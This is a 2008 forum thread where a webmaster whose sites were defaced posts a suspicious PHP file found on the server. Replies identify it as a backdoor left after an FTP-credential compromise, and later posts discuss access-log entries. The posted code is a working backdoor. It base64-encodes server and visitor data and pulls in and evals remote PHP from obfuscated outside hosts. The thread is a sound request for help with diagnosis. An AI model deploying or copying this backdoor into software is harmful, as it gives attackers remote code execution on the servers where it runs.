Page 1 of 1
Is this code a hackers entry?
Posted: Sun Mar 16, 2008 3:18 pm
by jimandy
My site was defaced (actually 3 sites on the same hosting company server). Just the index.html files in each of the domains directory had been changed. I did find one php document in one directory that was dated several days earlier but was not one I recognize since I do only the simplest of php coding and this is way above me.
Can someone interpret what this code might do?
Code: Select all
<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j);
if ((include(base64_decode("aHR0cDovLw==").base64_decode("YS5yc2RjcmFmdC53cw==")."/?".$str)));
else if (include(base64_decode("aHR0cDovLw==").base64_decode("YWQucnVud2ViLmluZm8=")."/?".$str));
else eval(file_get_contents(base64_decode("aHR0cDovLzcueG1sZGF0YS5pbmZvLz8=").$str));
?>
The hacker identified himself as "ghost61-ussyman-hackshow.us" and has apparently hit many sites lately.
Re: Is this code a hackers entry?
Posted: Sun Mar 16, 2008 11:08 pm
by scriptah
Indeed, that is an entry point for any script kiddie around.
Anyway, this file enables script kiddies to inject any file they want into the script, thus allowing them to remotely run any php code in your script.
Now for sure this file was injected there.
There's no logic whatsoever in the code, the "hacker" got access before, and then injected this file (this way, for example, he knows that he'll be able to come back to your server ... ).
Anyway, his main entry point wasn't this script.
Checkout other suspicious files you have in your server, make sure you're not suffering from a remote exploitable vulnerability.
Re: Is this code a hackers entry?
Posted: Mon Mar 17, 2008 2:07 am
by Mordred
Another FTP attack - your computer is compromised by a malware, your FTP password stolen, and this backdoor uploaded to the server. Check your computer.
Re: Is this code a hackers entry?
Posted: Mon Mar 17, 2008 10:57 am
by jimandy
Could someone help me understand this entry in my hosting company's log file?
89.163.182.64 - - [15/Mar/2008:21:45:09 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "-"
That seems to have something to do with the attack. Specifically, I don't understand the "OPTIONS * part, But the 200 suggests that whatever it is, it worked and I think it had to do with the attack.
This just does not seem to be the usual entry for a casual visit to a web page.
I understand a later entry...
16/Mar/2008:13:39:28 -0500] "GET /foo.html HTTP/1.1" 200 144 "-" "Mozilla/5.0 (abbreviated here), specifically the GET as this was the one and only access I made to the test file foo.html put on site by me to get a handle on log entry codes.
And pardon if this is the wrong forum for this sort of topic. I welcome suggestions as to where i can get more help in understanding both the log file and, more importantly, hardening my site against future attacks.
Re: Is this code a hackers entry?
Posted: Mon Mar 17, 2008 11:15 am
by scriptah
I think the HTTP RFC would be a good place to start in order to understand the HTTP protocol.
9.2 OPTIONS
The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI. This method allows the client to determine the options and/or requirements associated with a resource, or the capabilities of a server, without implying a resource action or initiating a resource retrieval.
Responses to this method are not cacheable.
If the OPTIONS request includes an entity-body (as indicated by the presence of Content-Length or Transfer-Encoding), then the media type MUST be indicated by a Content-Type field. Although this specification does not define any use for such a body, future extensions to HTTP might use the OPTIONS body to make more detailed queries on the server. A server that does not support such an extension MAY discard the request body.
If the Request-URI is an asterisk ("*"), the OPTIONS request is intended to apply to the server in general rather than to a specific resource. Since a server's communication options typically depend on the resource, the "*" request is only useful as a "ping" or "no-op" type of method; it does nothing beyond allowing the client to test the capabilities of the server. For example, this can be used to test a proxy for HTTP/1.1 compliance (or lack thereof).
If the Request-URI is not an asterisk, the OPTIONS request applies only to the options that are available when communicating with that resource.
A 200 response SHOULD include any header fields that indicate optional features implemented by the server and applicable to that resource (e.g., Allow), possibly including extensions not defined by this specification. The response body, if any, SHOULD also include information about the communication options. The format for such a
body is not defined by this specification, but might be defined by future extensions to HTTP. Content negotiation MAY be used to select the appropriate response format. If no response body is included, the response MUST include a Content-Length field with a field-value of "0".
The Max-Forwards request-header field MAY be used to target a specific proxy in the request chain. When a proxy receives an OPTIONS request on an absoluteURI for which request forwarding is permitted, the proxy MUST check for a Max-Forwards field. If the Max-Forwards field-value is zero ("0"), the proxy MUST NOT forward the message; instead, the proxy SHOULD respond with its own communication options. If the Max-Forwards field-value is an integer greater than zero, the proxy MUST decrement the field-value when it forwards the request. If no Max-Forwards field is present in the request, then the forwarded request MUST NOT include a Max-Forwards field.
9.3
Re: Is this code a hackers entry?
Posted: Thu Mar 20, 2008 10:56 am
by jimandy
One more question. As I understand the format of the log file available from my hosting company , in this entry...
78.166.148.106 15/Mar/2008:04:21:57 -0500 "GET / HTTP/1.1" 200 115 "http://www.zone-h.org/component/option, ... Itemid,45/"... (I’ve left off the browser info).
...the "zone-h" entry shouldn't be there. That is the position where the web page that a client browser is trying to "GET" should be listed but instead it is the zone-h site. Normal entries have one of my site pages in this location.
???